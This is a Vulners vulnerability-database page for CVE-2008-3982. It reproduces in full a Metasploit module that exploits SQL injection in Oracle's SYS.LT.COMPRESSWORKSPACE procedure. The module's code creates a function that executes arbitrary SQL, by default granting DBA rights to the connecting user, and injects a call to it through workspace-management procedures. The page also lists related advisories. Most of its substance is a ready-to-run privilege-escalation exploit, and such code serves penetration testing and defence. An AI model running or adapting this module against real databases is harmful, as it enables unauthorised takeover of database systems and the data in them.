Lucene search
K

Oracle DB SQL Injection Via SYS.LT.COMPRESSWORKSPACE

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 175 Views

Oracle SQL Injection in SYS.LT.COMPRESSWORKSPACE procedur

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-3982
29 May 201815:50
circl
Check Point Advisories
Oracle Database Server Workspace Manager Multiple SQL Injection (CVE-2008-3982)
2 Feb 201000:00
checkpoint_advisories
CVE
CVE-2008-3982
14 Oct 200821:00
cve
Cvelist
CVE-2008-3982
14 Oct 200821:00
cvelist
Metasploit
Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE
28 Jul 200913:43
metasploit
NVD
CVE-2008-3982
14 Oct 200821:11
nvd
Oracle
CPUOct2008 Advisory
14 Oct 200800:00
oracle
Tenable Nessus
Oracle Database Multiple Vulnerabilities (October 2008 CPU)
16 Nov 201100:00
nessus
Prion
Design/Logic Flaw
14 Oct 200821:11
prion
Prion
Design/Logic Flaw
14 Oct 200821:11
prion
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE',  
'Description' => %q{  
This module exploits an sql injection flaw in the COMPRESSWORKSPACE  
procedure of the PL/SQL package SYS.LT. Any user with execute  
privilege on the vulnerable package can exploit this vulnerability.  
},  
'Author' => [ 'CG' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-3982'],  
[ 'OSVDB', '49324'],  
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ]  
],  
'DisclosureDate' => '2008-10-13'))  
  
register_options(  
[  
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
cruft = Rex::Text.rand_text_alpha_upper(1)  
  
function = "  
CREATE OR REPLACE FUNCTION #{cruft}  
RETURN VARCHAR2 AUTHID CURRENT_USER  
AS  
PRAGMA AUTONOMOUS_TRANSACTION;  
BEGIN  
EXECUTE IMMEDIATE '#{datastore['SQL']}';  
COMMIT;  
RETURN '#{cruft}';  
END;"  
  
package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"  
  
package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"  
  
clean = "DROP FUNCTION #{cruft}"  
  
print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")  
  
print_status("Sending function...")  
prepare_exec(function)  
  
begin  
prepare_exec(package1)  
prepare_exec(package2)  
rescue => e  
if ( e.to_s =~ /No Data/ )  
print_status("Removing function '#{cruft}'...")  
prepare_exec(clean)  
else  
return  
end  
end  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 25.5
EPSS0.53142
175